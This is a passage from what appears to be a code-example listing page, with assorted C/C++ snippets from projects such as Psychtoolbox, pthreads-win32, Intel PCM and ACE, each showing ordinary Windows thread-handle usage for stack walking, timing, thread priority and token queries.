        RevertToSelf();

    }
    __finally
    {
        // Clean up.
        if (pACL) LocalFree(pACL);
        if (psdAdmin) LocalFree(psdAdmin);
        if (psidAdmin) FreeSid(psidAdmin);
    }

    return bReturn;
}
Пример #7
0
        virtual int getStack(int depth, Backtrace::StackFrame* frames) {
            QMutexLocker locker(&m_mutex);

            char procname[MAX_PATH];
            GetModuleFileNameA(NULL, procname, sizeof procname);

            CONTEXT context;
            memset(&context, 0, sizeof(CONTEXT));
            context.ContextFlags = CONTEXT_FULL;

            HANDLE thread = GetCurrentThread();
            bool success = GetThreadContext(thread, &context);

            if (!success) {
                return 0;
            }

            STACKFRAME frame;
            memset(&frame,0,sizeof(frame));

            frame.AddrPC.Offset = context.Eip;
            frame.AddrPC.Mode = AddrModeFlat;
            frame.AddrStack.Offset = context.Esp;
            frame.AddrStack.Mode = AddrModeFlat;
            frame.AddrFrame.Offset = context.Ebp;
            frame.AddrFrame.Mode = AddrModeFlat;

            HANDLE process = GetCurrentProcess();

            int i = 0;
            int skip = 2;

            const int SYMBUF = 512;
            char symbol_buffer[sizeof(IMAGEHLP_SYMBOL) + SYMBUF];
            char module_name_raw[MAX_PATH];

            while(StackWalk(IMAGE_FILE_MACHINE_I386,
                            process,
                            thread,
                            &frame,
                            &context,
                            0,
                            SymFunctionTableAccess,
                            SymGetModuleBase, 0)) {

                if (skip-- > 0) {
                    continue;
                }

                DWORD module_base = SymGetModuleBase(process, frame.AddrPC.Offset);

                GetModuleFileNameA((HINSTANCE)module_base, module_name_raw, MAX_PATH);

                IMAGEHLP_SYMBOL* symbol = reinterpret_cast<IMAGEHLP_SYMBOL*>(symbol_buffer);
                symbol->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL);
                symbol->MaxNameLength = SYMBUF-1;
                DWORD dummy = 0;

                if (SymGetSymFromAddr(process, frame.AddrPC.Offset, &dummy, symbol)) {
                    frames[i].function = symbol->Name;
                } else {
                    frames[i].function.clear();
                }

                frames[i].addr = reinterpret_cast<void*>(frame.AddrPC.Offset);
                frames[i].imageFile = module_name_raw;

                i++;
                if (i >= depth)
                    break;
            }
            return i;
        }
Пример #8
0
int main()
{
	_CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_DEBUG);
	PWSTR sUserSid = L"";
	HANDLE hToken = NULL;
	if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)
		|| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
	{
		if (!GetUserSidToken(hToken, &sUserSid))
		{
			printf("GetUserSid error: %d\n", GetLastError());
			return 1;
		}
		CloseHandle(hToken);
	}
	PWSTR sKeyHandle = L"";
	PWSTR sPublicKey = L"";
	PWSTR sChallenge = L"";
	PWSTR sHost = L"";
	PWSTR sPort = L"";
	PWSTR sUrl = L"";
	PWSTR sAppId = CRYSIL_APP_ID;

	std::cout << "Saved values in registry for current user" << std::endl;

	printf("UserSid: %ls\n", sUserSid);

	if (!Helper::Registry::GetRegValue(L"KeyHandle", &sKeyHandle, sUserSid))
	{
		printf("GetKeyHandle error");
		return false;
	}
	printf("KeyHandle: %ls\n", sKeyHandle);
	if (!Helper::Registry::GetRegValue(L"PublicKey", &sPublicKey, sUserSid))
	{
		printf("GetPublicKey error");
		return false;
	}
	if (!Helper::String::HexEncode(&sPublicKey))
	{
		printf("GetPublicKey error");
		return false;
	}
	printf("PublicKey: %ls\n", sPublicKey);
	if (!Helper::Registry::GetRegValue(L"Host", &sHost, sUserSid))
	{
		printf("GetHost error");
		return false;
	}
	printf("Host: %ls\n", sHost);
	if (!Helper::Registry::GetRegValue(L"Port", &sPort, sUserSid))
	{
		printf("GetPort error");
		return false;
	}
	printf("Port: %ls\n", sPort);
	if (!Helper::Registry::GetRegValue(L"URL", &sUrl, sUserSid))
	{
		printf("GetUrl error");
		return false;
	}
	printf("Url: %ls\n", sUrl);

	if (!Helper::Crypto::CreateRandomChallenge(&sChallenge))
	{
		printf("CreateRandomChallenge error");
		return false;
	}
	printf("Random challenge: %ls\n", sChallenge);	

	ConsolePinHandler pinHandler{};
	//WindowsPinHandler pinHandler{};
	//HWND hwndC = GetConsoleWindow();
	//g_hinst = GetModuleHandle(0);
	//pinHandler.setHwndOwner(hwndC);

	if (Helper::CrySIL::PerformU2FRequest(sUserSid, &pinHandler))
		printf("PerformU2FRequest: Success\n");
	else
		printf("PerformU2FRequest: Error\n");

	printf("Press any key to continue ...");
	_CrtDumpMemoryLeaks();
	getchar();
	return 0;
}
Пример #9
0
/*
 *  Expand a %{USERID} token
 *
 *  The %{USERID} token expands to the string representation of the
 *  user's SID.  The user account that will be used is the account
 *  corresponding to the current thread's security token.  This means
 *  that:
 *
 *  - If the current thread token has the anonymous impersonation
 *    level, the call will fail.
 *
 *  - If the current thread is impersonating a token at
 *    SecurityIdentification level the call will fail.
 *
 */
static krb5_error_code
expand_userid(krb5_context context, PTYPE param, const char *postfix,
              char **ret)
{
    int rv = EINVAL;
    HANDLE hThread = NULL;
    HANDLE hToken = NULL;
    PTOKEN_OWNER pOwner = NULL;
    DWORD len = 0;
    LPTSTR strSid = NULL;

    hThread = GetCurrentThread();

    if (!OpenThreadToken(hThread, TOKEN_QUERY,
                         FALSE, /* Open the thread token as the
                                   current thread user. */
                         &hToken)) {

        DWORD le = GetLastError();

        if (le == ERROR_NO_TOKEN) {
            HANDLE hProcess = GetCurrentProcess();

            le = 0;
            if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
                le = GetLastError();
        }

        if (le != 0) {
            k5_setmsg(context, rv, "Can't open thread token (GLE=%d)", le);
            goto cleanup;
        }
    }

    if (!GetTokenInformation(hToken, TokenOwner, NULL, 0, &len)) {
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
            k5_setmsg(context, rv,
                      "Unexpected error reading token information (GLE=%d)",
                      GetLastError());
            goto cleanup;
        }

        if (len == 0) {
            k5_setmsg(context, rv,
                      "GetTokenInformation() returned truncated buffer");
            goto cleanup;
        }

        pOwner = malloc(len);
        if (pOwner == NULL) {
            rv = ENOMEM;
            goto cleanup;
        }
    } else {
        k5_setmsg(context, rv,
                  "GetTokenInformation() returned truncated buffer");
        goto cleanup;
    }

    if (!GetTokenInformation(hToken, TokenOwner, pOwner, len, &len)) {
        k5_setmsg(context, rv,
                  "GetTokenInformation() failed.  GLE=%d", GetLastError());
        goto cleanup;
    }

    if (!ConvertSidToStringSid(pOwner->Owner, &strSid)) {
        k5_setmsg(context, rv,
                  "Can't convert SID to string.  GLE=%d", GetLastError());
        goto cleanup;
    }

    *ret = strdup(strSid);
    if (*ret == NULL) {
        rv = ENOMEM;
        goto cleanup;
    }

    rv = 0;

cleanup:
    if (hToken != NULL)
        CloseHandle(hToken);

    if (pOwner != NULL)
        free(pOwner);

    if (strSid != NULL)
        LocalFree(strSid);

    return rv;
}
Пример #10
0
//+ ----------------------------------------------------------------------------------------
DWORD WINAPI ThreadFunc_Processes(LPVOID lpThreadParameter)
{
	ThreadSync* pThreadSync = (ThreadSync*) lpThreadParameter;
	if (pThreadSync == NULL)
		return -1;

	HookAppReg		AppReg;
	ThreadParam*	pThreadParam = (ThreadParam*) pThreadSync->m_pThreadParam;

	HANDLE hDevice = AppReg.Register();
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;

	pThreadParam->NewInternalData(hDevice, AppReg.GetAppID());

	HANDLE hStopEvent = pThreadSync->m_hStopEvent;

	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

	IDriverRegisterInvisibleThread(hDevice, AppReg.GetAppID());

	if (!pThreadParam->AddFilters())
		return -1;

	pThreadSync->SetStartSucceed();

	HANDLE handles[3];
	handles[0] = hStopEvent;
	handles[1] = AppReg.m_hWhistleup;
	handles[2] = AppReg.m_hWFChanged;

	DWORD dwResult = WAIT_TIMEOUT;

	HDSTATE Activity;

	bool bExit = false;
	while (!bExit)
	{
		switch (dwResult)
		{
		case WAIT_OBJECT_0:
			pThreadParam->BeforeExit();
			bExit = true;
			break;

		case WAIT_TIMEOUT:
		case WAIT_OBJECT_0 + 1:
			{
				IDriverGetState(hDevice, AppReg.GetAppID(), &Activity);
				while (Activity.QUnmarkedLen)
				{
					pThreadParam->SingleEvent();
					Activity.QUnmarkedLen--;
				}
			}
			break;
		case WAIT_OBJECT_0 + 2:
			// filters changed
			pThreadParam->FiltersChanged();
			break;
		}

		if (!bExit)
			dwResult = WaitForMultipleObjects(sizeof(handles) / sizeof(handles[0]), handles, FALSE, 1000);
	}

	IDriverUnregisterInvisibleThread(pThreadParam->m_hDevice, pThreadParam->m_AppID);

	HookAppReg::UnregisterApp(pThreadParam->m_hDevice, pThreadParam->m_AppID);
	return 0;
}
Пример #11
0
int iaxci_prioboostbegin() {
    if ( !SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL)  ) {
        fprintf(stderr, "SetThreadPriority failed: %ld.\n", GetLastError());
    }
    return 0;
}
Пример #12
0
vm_thread_handle vm_affinity_thread_get_current(void)
{
    return GetCurrentThread();
}
Пример #13
0
void PsychGetPrecisionTimerSeconds(double *secs)

{
  double					ss, ticks, diff;
  static LARGE_INTEGER		counterFreq;
  LARGE_INTEGER				count;
  static double				oss=0.0f;
  static double				oldticks=0.0f;
  static double				lastSlowcheckTimeSecs = -1;
  static double				lastSlowcheckTimeTicks = -1;
  int						tick1, tick2, hangcount;
  psych_uint64				curRawticks;
  static psych_uint64		oldRawticks;
  static psych_uint64		tickWarpOffset = 0;
  
	// First time init of timeglue: Set up system for high precision timing,
	// and enable workarounds for broken systems:
  if (firstTime) {
		// Switch the system into high resolution timing mode, i.e.,
		// 1 khZ timer interrupts aka 1 msec timer resolution, for both,
		// the Sleep() command and TimeGetTime() queries. This way, our hybrid
		// sleep-waiting algorithm for PsychWaitUntilSeconds() can work with
		// tight busy-wait transition thresholds and doesn't burn too much
		// CPU time. The timeGetTime() function then gets sufficient granularity -
		// 1 msecs - to be a good reference for our correctness/consistency
		// checks on the high precision timer, and it is a sufficient fallback
		// in case of broken timers.
		// The drawback is increased general interrupt load due to the 1 kHZ IRQ's...
    	if ((timeBeginPeriod(1)!=TIMERR_NOERROR) && (schedulingtrouble == FALSE)) {
		  	// High precision mode failed! Output warning on first failed invocation...
		  	schedulingtrouble = TRUE;
        	printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall timeBeginPeriod(1) failed!!! Timing will be inaccurate.\n");
        	printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
        	printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
        	printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");

		  	// Increase switching threshold to 10 msecs to take low timer resolution into account:
		  	sleepwait_threshold = 0.010;
    	}    

	 	// This command timeEndPeriod(1); should be used when flushing the MEX file, but
		// we don't do it. Once a PsychTimeGlue function was called, we leave Matlab at
		// high timing precision mode and rely on the OS to revert to standard Windoze
		// behaviour, once the Matlab application is quit/terminated.

		// Next step for broken systems: Bind our Matlab interpreter/PTB main thread to the
		// first cpu core in the system. The only known way to make sure we don't get time
		// readings from different TSCs due to our thread jumping between cpu's. TSC's on
		// a multi-core system are not guaranteed to be synchronized, so if TSC is our timebase,
		// this could lead to time inconsistencies - even time going backwards between queries!!!
		// Drawback: We may not make optimal use of a multi-core system.
		if (SetThreadAffinityMask(GetCurrentThread(), 1)==0) {
		  	// Binding failed! Output warning on first failed invocation...
		  	schedulingtrouble = TRUE;
        	printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall SetThreadAffinityMask() failed!!! Timing could be inaccurate.\n");
        	printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
        	printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
        	printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
		}
		
		// Spin-Wait until timeGetTime() has switched to 1 msec resolution:
		hangcount = 0;
		while(hangcount < 100) {
			tick1 = (int) timeGetTime();
			while((tick2=(int) timeGetTime()) == tick1);
			if (tick2 - tick1 == 1) break;
			hangcount++;
		}

		if (hangcount >= 100) {
			// Totally foobared system! Output another warning but try to go on. Checks further below in code
			// will trigger and provide counter measures - as far as this is possible with such a screwed system :-(
			printf("PTB-CRITICAL WARNING! Timing code detected problems with the low precision TIMER in your system hardware!\n");
			printf("PTB-CRITICAL WARNING! It doesn't run at the requested rate of 1 tick per millisecond. Interrupt problems?!?\n");
			printf("PTB-CRITICAL WARNING! Your system is somewhat screwed up wrt. timing!\n");
			printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
			printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
			printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
			printf("PTB-CRITICAL WARNING! Check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
		}

		// Ok, now timeGetTime() should have the requested 1 msec increment rate.
		oldRawticks = -1;

		// Ok, this is a dumb solution, but at least sort of robust. The
		// proper solution will have to wait for the next 'beta' release cycle.
		// We don't allow to use any timing function on a Windoze system that
		// has more than 48 days of uptime. Rationale: At 49.8 days, the 32 bit
		// tick counter will wrap around and leave our fallback- and reference
		// timebase in an undefined state. Implementing proper wraparound handling
		// for inifinite uptimes is not simple, due to PTB's modular nature and
		// some special flaws of Windoze. Anyway, 48 days uptime is unlikely
		// anyway, unless the user doesn't perform regular system updates...
		if (((double) timeGetTime() * 0.001) > (3600 * 24 * 48)) {
			// Uptime exceeds 48 days. Say user this is a no no:
			printf("PTB-ERROR: Your system is running since over 48 days without a reboot. Due to some\n");
			printf("PTB-ERROR: pretty disgusting design flaws in the Windows operating system, timing\n");
			printf("PTB-ERROR: will become unreliable or wrong at uptimes of more than 49 days.\n");
			printf("PTB-ERROR: Therefore PTB will not continue executing any time related function unless\n");
			printf("PTB-ERROR: you reboot your machine now.\n\n");
			PsychErrorExitMsg(PsychError_user, "Maximum allowable uptime for Windows exceeded. Please reboot your system.");
		} 

		// Is the high-precision timer supported?
    	counterExists = QueryPerformanceFrequency(&counterFreq);
		if (counterExists) {
			// Initialize old counter values to now:
			QueryPerformanceCounter(&count);
			oss = ((double)count.QuadPart)/((double)counterFreq.QuadPart);
		}	
  }
  
	// Query system time of low resolution counter:
	curRawticks = timeGetTime();

	// Need to acquire our timelock before we continue, as we will soon access shared data structures:
	EnterCriticalSection(&time_lock);
	
	/* MK: Nice idea, but won't work that way :-( Need a more complex
		// solution here. This has to wait for the next release cycle...
		// Compare against old raw value to detect overflow and wraparound:
		if ((curRawticks < oldRawticks) && (oldRawticks != -1)) {
			// Wraparound due to 32 bit overflow after 49.8 days of uptime!
			// Update our warp-offset to take this into account:
			tickWarpOffset = tickWarpOffset + (0xffffffff - oldRawticks) + 1;
		}
		
		// Update old raw count so it can be used as reference for next call:
		oldRawticks = curRawticks;
		
		// Compute corrected - always monotonically increasing - uptime from tick count
		// by applying the warp offset:
		curRawticks += tickWarpOffset;
	*/

	// Convert to ticks in seconds for further processing:
	ticks = ((double) curRawticks) * 0.001;
	tickInSecsAtLastQuery = ticks;
	
	
  if (counterExists) {
	// Query Performance counter:
   QueryPerformanceCounter(&count);

   ss = ((double)count.QuadPart)/((double)counterFreq.QuadPart);
   timeInSecsAtLastQuery = ss;

	// Initialize base time for slow consistency checks at first invocation:
	if (firstTime) {
		lastSlowcheckTimeSecs = ss;
		lastSlowcheckTimeTicks = ticks;
	}

	// Compute difference (disagreement over elapsed time since last call) between high-precision
	// timer and low-precision timer:
	diff = ((ss - oss) - (ticks - oldticks));

	// We don't perform the inter-timer agreement check at first invokation - Thread scheduling etc. needs to settle,
	// as well as the timeBeginPeriod(1) call above...
	if (!Timertrouble && !firstTime) {
		// No timer problems yet. Perform checks:

		// Time running backwards?
		if (ss < oss) {
			Timertrouble = TRUE;
			printf("PTB-CRITICAL WARNING! Timing code detected problems with the high precision TIMER in your system hardware!\n");
			printf("PTB-CRITICAL WARNING! Apparently time is reported as RUNNING BACKWARDS. (Timewarp Delta: %f secs.)\n", ss - oss);
			printf("PTB-CRITICAL WARNING! One reason could be a multi-core system with unsynchronized TSC's and buggy platform drivers.\n");
			printf("PTB-CRITICAL WARNING! Will switch back to lower precision/resolution timer (only +/-1 millisecond accuracy at best).\n");
		}
		
		// The old and new high res. timer should not
		// disagree in their increment since last call by more than 250 msecs. If they do,
		// this means that the high precision timer leaped forward, which indicates a faulty
		// Southbridge controller in the machines host chipset - Not a good basis for high precision timing.
		// See Microsoft Knowledge base article Nr. 274323 for further explanation and a list of known bad
		// chipsets.
		if (diff > 0.25) {
			// Mismatch between performance counter and tick counter detected!
			// Performance counter is faulty! Report this to user, then continue
			// by use of the older tick counter as a band-aid.
			Timertrouble = TRUE;
			printf("PTB-CRITICAL WARNING! Timing code detected a FAULTY high precision TIMER in your system hardware!(Delta %f secs).\n", diff);
			printf("PTB-CRITICAL WARNING! Seems the timer sometimes randomly jumps forward in time by over 250 msecs!");
			printf("PTB-CRITICAL WARNING! Will switch back to lower precision/resolution timer (only +/-1 millisecond accuracy at best).\n");
			printf("PTB-CRITICAL WARNING! For more information see Microsoft knowledge base article Nr. 274323.\n");
			printf("PTB-CRITICAL WARNING! http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q274323&\n\n");
		}

		// We check for lags of QPC() wrt. to tick count at intervals of greater than 1 second, ie. only if
		// this query and the last one are at least 1 second spaced apart in time. This is kind of a low-pass
		// filter to account for the fact that the tick counter itself can sometimes lose a bit of time due
		// to lost timer interrupts, and then jump forward in time by a couple of milliseconds when some
		// system service detects the lost interrupts and accounts for them by incrementing time by multiple
		// ticks at a single IRQ. Here we check over a longer period to make it less likely that such transients
		// show up. We apply a much more generous lag threshold as well, so we can compensate for transient timer
		// jumps of up to 50 msecs.
		if ((ticks - lastSlowcheckTimeTicks) >= 1.0) {
			// Check for lags: A lag of multiple msec is normal and expected due to the measurement method.
			diff = ((ss - lastSlowcheckTimeSecs) - (ticks - lastSlowcheckTimeTicks));
						
			// Let's check for a lag exceeding 5% of the duration of the check interval, so we have a bit of headroom to the expected lag:
			if (diff < -0.05 * (ticks - lastSlowcheckTimeTicks)) {
				// Mismatch between performance counter and tick counter detected!
				// Performance counter is lagging behind realtime! Report this to user, then continue
				// by use of the older tick counter as a band-aid.
				Timertrouble = TRUE;
				printf("PTB-CRITICAL WARNING! Timing code detected a LAGGING high precision TIMER in your system hardware! (Delta %f secs).\n", diff);
				printf("PTB-CRITICAL WARNING! Seems that the timer sometimes stops or slows down! This can happen on systems with\n");
				printf("PTB-CRITICAL WARNING! processor power management (cpu throttling) and defective platform drivers.\n");				
				printf("PTB-CRITICAL WARNING! Will switch back to lower precision/resolution timer (only +/-1 millisecond accuracy at best).\n");
				printf("PTB-CRITICAL WARNING! Please try if disabling all power management features of your system helps...\n");
			}
			
			// Update timestamps of last check:
			lastSlowcheckTimeSecs = ss;
			lastSlowcheckTimeTicks = ticks;
		}
		
		if (Timertrouble) {
			// More info for user at first detection of trouble:
			printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
			printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
			printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
			printf("PTB-CRITICAL WARNING! Read 'help GetSecsTest' and run GetSecsTest for further diagnosis and troubleshooting.\n");
			printf("PTB-CRITICAL WARNING! It may also help to restart the machine to see if the problem is transient.\n");
			printf("PTB-CRITICAL WARNING! Also check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");			
		}
	}

	// All checks done: Prepare old values for new iteration:
	oss = ss;
	oldticks = ticks;
	
	// Ok, is the timer finally considered safe to use?
	if (!Timertrouble) {
		// All checks passed: ss is the valid return value:
		ss = ss;
	}
	else {
		// Performance counter works unreliably: Fall back to result of timeGetTime().
		// This only has 1 msec resolution at best, but at least it works (somewhat...).
		ss = ticks;
	}	

	//  ========= End of high precision timestamping. =========
  }
  else {
	//  ========= Low precision fallback path for ancient machines: 1 khz tick counter: =========
	ss = ticks;
	timeInSecsAtLastQuery = -1;
  }

  // Finally assign time value:  
  *secs= ss;  

	// Clear the firstTime flag - this was the first time, maybe.
   firstTime = FALSE;

	// Need to release our timelock - Done with access to shared data:
	LeaveCriticalSection(&time_lock);

	return;
}
Пример #14
0
void RTMPPublisher::SendLoop()
{
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
    while(WaitForSingleObject(hSendSempahore, INFINITE) == WAIT_OBJECT_0)
    {
        while(true)
        {
            OSEnterMutex(hDataMutex);
            if(queuedPackets.Num() == 0)
            {
                OSLeaveMutex(hDataMutex);
                break;
            }

            List<BYTE> packetData;
            PacketType type       = queuedPackets[0].type;
            DWORD      timestamp  = queuedPackets[0].timestamp;
            packetData.TransferFrom(queuedPackets[0].data);

            currentBufferSize -= packetData.Num();

            queuedPackets.Remove(0);

            OSLeaveMutex(hDataMutex);

            //--------------------------------------------

            RTMPPacket packet;
            packet.m_nChannel = (type == PacketType_Audio) ? 0x5 : 0x4;
            packet.m_headerType = RTMP_PACKET_SIZE_MEDIUM;
            packet.m_packetType = (type == PacketType_Audio) ? RTMP_PACKET_TYPE_AUDIO : RTMP_PACKET_TYPE_VIDEO;
            packet.m_nTimeStamp = timestamp;
            packet.m_nInfoField2 = rtmp->m_stream_id;
            packet.m_hasAbsTimestamp = TRUE;

            packet.m_nBodySize = packetData.Num()-RTMP_MAX_HEADER_SIZE;
            packet.m_body = (char*)packetData.Array()+RTMP_MAX_HEADER_SIZE;

            //QWORD sendTimeStart = OSGetTimeMicroseconds();
            if(!RTMP_SendPacket(rtmp, &packet, FALSE))
            {
                //should never reach here with the new shutdown sequence.
                RUNONCE Log(TEXT("RTMP_SendPacket failure, should not happen!"));
                if(!RTMP_IsConnected(rtmp))
                {
                    App->PostStopMessage();
                    break;
                }
            }

            //----------------------------------------------------------

            /*outputRateSize += packetData.Num();
            packetSizeRecord << PacketTimeSize(timestamp, packetData.Num());
            if(packetSizeRecord.Num())
            {
                UINT packetID=0;
                for(; packetID<packetSizeRecord.Num(); packetID++)
                {
                    if(timestamp-packetSizeRecord[packetID].timestamp < outputRateWindowTime)
                        break;
                    else
                        outputRateSize -= packetSizeRecord[packetID].size;
                }

                if(packetID != 0)
                    packetSizeRecord.RemoveRange(0, packetID);
            }*/

            //bytesSent += packetData.Num();
        }

        if (bStopping && WaitForSingleObject(hSendLoopExit, 0) == WAIT_OBJECT_0)
            return;
    }
}
Пример #15
0
pthread_t
pthread_self (void)
     /*
      * ------------------------------------------------------
      * DOCPUBLIC
      *      This function returns a reference to the current running
      *      thread.
      *
      * PARAMETERS
      *      N/A
      *
      *
      * DESCRIPTION
      *      This function returns a reference to the current running
      *      thread.
      *
      * RESULTS
      *              pthread_t       reference to the current thread
      *
      * ------------------------------------------------------
      */
{
  pthread_t self;

#ifdef _UWIN
  if (!ptw32_selfThreadKey)
    return (NULL);
#endif

  self = (pthread_t) pthread_getspecific (ptw32_selfThreadKey);

  if (self == NULL)
    {
      /*
       * Need to create an implicit 'self' for the currently
       * executing thread.
       */
      self = ptw32_new ();

      if (self != NULL)
	{
	  /*
	   * This is a non-POSIX thread which has chosen to call
	   * a POSIX threads function for some reason. We assume that
	   * it isn't joinable, but we do assume that it's
	   * (deferred) cancelable.
	   */
	  self->implicit = 1;
	  self->detachState = PTHREAD_CREATE_DETACHED;
	  self->thread = GetCurrentThreadId ();

#ifdef NEED_DUPLICATEHANDLE
	  /*
	   * DuplicateHandle does not exist on WinCE.
	   *
	   * NOTE:
	   * GetCurrentThread only returns a pseudo-handle
	   * which is only valid in the current thread context.
	   * Therefore, you should not pass the handle to
	   * other threads for whatever purpose.
	   */
	  self->threadH = GetCurrentThread ();
#else
	  if (!DuplicateHandle (GetCurrentProcess (),
				GetCurrentThread (),
				GetCurrentProcess (),
				&self->threadH,
				0, FALSE, DUPLICATE_SAME_ACCESS))
	    {
	      /* Thread structs are never freed. */
	      ptw32_threadReusePush (self);
	      return (NULL);
	    }
#endif

	  /*
	   * No need to explicitly serialise access to sched_priority
	   * because the new handle is not yet public.
	   */
	  self->sched_priority = GetThreadPriority (self->threadH);
	}

      pthread_setspecific (ptw32_selfThreadKey, self);
    }

  return (self);

}				/* pthread_self */
Пример #16
0
inline static THREADHANDLE thread_id() { return GetCurrentThread(); }
Пример #17
0
int main(int argc, char * argv[])
{
    std::cout << "\n Intel(r) Performance Counter Monitor " << INTEL_PCM_VERSION << std::endl;
    std::cout << "\n MSR read/write utility\n\n";
    
    uint64 value = 0;
    bool write = false;
    int core = 0;
    int msr = -1;
    bool dec = false;

	int my_opt = -1;
	while ((my_opt = getopt(argc, argv, "w:c:d")) != -1)
	{
		switch(my_opt)
		{
			case 'w':
                                write = true;
				value = read_number(optarg);
				break;
			case 'c':
				core = (int) read_number(optarg);
				break;
                        case 'd':
                                dec = true;
                                break;
			default:
				print_usage(argv[0]);
				return -1;
		}
	}

	 if (optind >= argc)
	 {
		 print_usage(argv[0]);
		 return -1;
	 }

    msr = (int) read_number(argv[optind]);

    #ifdef OK_WIN_BUILD
    // Increase the priority a bit to improve context switching delays on Windows
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);

    TCHAR driverPath[1032];
    GetCurrentDirectory(1024, driverPath);
    wcscat_s(driverPath, 1032, L"\\msr.sys");

    // WARNING: This driver code (msr.sys) is only for testing purposes, not for production use
    Driver drv;
    // drv.stop();     // restart driver (usually not needed)
    if (!drv.start(driverPath))
    {
		std::cout << "Can not load MSR driver." << std::endl;
		std::cout << "You must have signed msr.sys driver in your current directory and have administrator rights to run this program" << std::endl;
        return -1;
    }
    #endif

    MsrHandle h(core);
    if(!dec) std::cout << std::hex << std::showbase;
    if(write)
    {
        std::cout << " Writing "<< value << " to MSR "<< msr << " on core "<< core << std::endl;
        h.write(msr,value);
    }
    value = 0;
    h.read(msr,&value);
    std::cout << " Read value "<< value << " from MSR "<< msr << " on core "<< core << "\n" << std::endl;
}
Пример #18
0
static int
cs_operate(int (*func)(struct frame_state const *, void *), void *usrarg,
           size_t starting_frame, size_t num_frames)
{
  dbghelp_functions dbg;
  if (!load_dbghelp_library_if_needed (&dbg))
    {
      ACE_OS::strcpy (static_cast<char *> (usrarg),
                      "<error loading dbghelp.dll>");
      if (dbg.hMod) FreeLibrary (dbg.hMod);
      return 1;
    }

  frame_state fs;
  ZeroMemory (&fs.sf, sizeof (fs.sf));
  fs.pDbg = &dbg;
  emptyStack ();   //Not sure what this should do, Chad?

  CONTEXT c;
  ZeroMemory (&c, sizeof (CONTEXT));
  c.ContextFlags = CONTEXT_FULL;

#  if defined (_M_IX86)
  DWORD machine = IMAGE_FILE_MACHINE_I386;
  __asm {
    call x
    x: pop eax
    mov c.Eip, eax
    mov c.Ebp, ebp
    mov c.Esp, esp
  }
  fs.sf.AddrPC.Offset = c.Eip;
  fs.sf.AddrStack.Offset = c.Esp;
  fs.sf.AddrFrame.Offset = c.Ebp;
  fs.sf.AddrPC.Mode = AddrModeFlat;
  fs.sf.AddrStack.Mode = AddrModeFlat;
  fs.sf.AddrFrame.Mode = AddrModeFlat;
#  elif defined (_M_X64)
  DWORD machine = IMAGE_FILE_MACHINE_AMD64;
  RtlCaptureContext (&c);
  fs.sf.AddrPC.Offset = c.Rip;
  fs.sf.AddrFrame.Offset = c.Rsp; //should be Rbp or Rdi instead?
  fs.sf.AddrStack.Offset = c.Rsp;
  fs.sf.AddrPC.Mode = AddrModeFlat;
  fs.sf.AddrFrame.Mode = AddrModeFlat;
  fs.sf.AddrStack.Mode = AddrModeFlat;
#  elif defined (_M_IA64)
  DWORD machine = IMAGE_FILE_MACHINE_IA64;
  RtlCaptureContext (&c);
  fs.sf.AddrPC.Offset = c.StIIP;
  fs.sf.AddrFrame.Offset = c.RsBSP;
  fs.sf.AddrBStore.Offset = c.RsBSP;
  fs.sf.AddrStack.Offset = c.IntSp;
  fs.sf.AddrPC.Mode = AddrModeFlat;
  fs.sf.AddrFrame.Mode = AddrModeFlat;
  fs.sf.AddrBStore.Mode = AddrModeFlat;
  fs.sf.AddrStack.Mode = AddrModeFlat;
#  endif

  fs.pSym = (PSYMBOL_INFO) GlobalAlloc (GMEM_FIXED,
                                        sizeof (SYMBOL_INFO) +
                                        sizeof (ACE_TCHAR) * (SYMSIZE - 1));
  fs.pSym->SizeOfStruct = sizeof (SYMBOL_INFO);
  fs.pSym->MaxNameLen = SYMSIZE * sizeof (ACE_TCHAR);
  dbg.SymSetOptions (SYMOPT_DEFERRED_LOADS | SYMOPT_LOAD_LINES
                     | SYMOPT_FAIL_CRITICAL_ERRORS | dbg.SymGetOptions ());
  dbg.SymInitialize (GetCurrentProcess (), 0, true);
  //What does the "true" parameter mean when tracing the current process?

  for (size_t current_frame = 0; current_frame < num_frames + starting_frame;
       ++current_frame)
    {
      BOOL ok = dbg.StackWalk64 (machine,
                                 GetCurrentProcess (),
                                 GetCurrentThread (),
                                 &fs.sf, &c, 0,
                                 dbg.SymFunctionTableAccess64,
                                 dbg.SymGetModuleBase64, 0);
      if (!ok || fs.sf.AddrFrame.Offset == 0)
        break;

      if (current_frame < starting_frame)
        continue;

      func (&fs, usrarg);
    }

  dbg.SymCleanup (GetCurrentProcess ());
  GlobalFree (fs.pSym);
  FreeLibrary (dbg.hMod);

  return 0;
}
Пример #19
0
/*
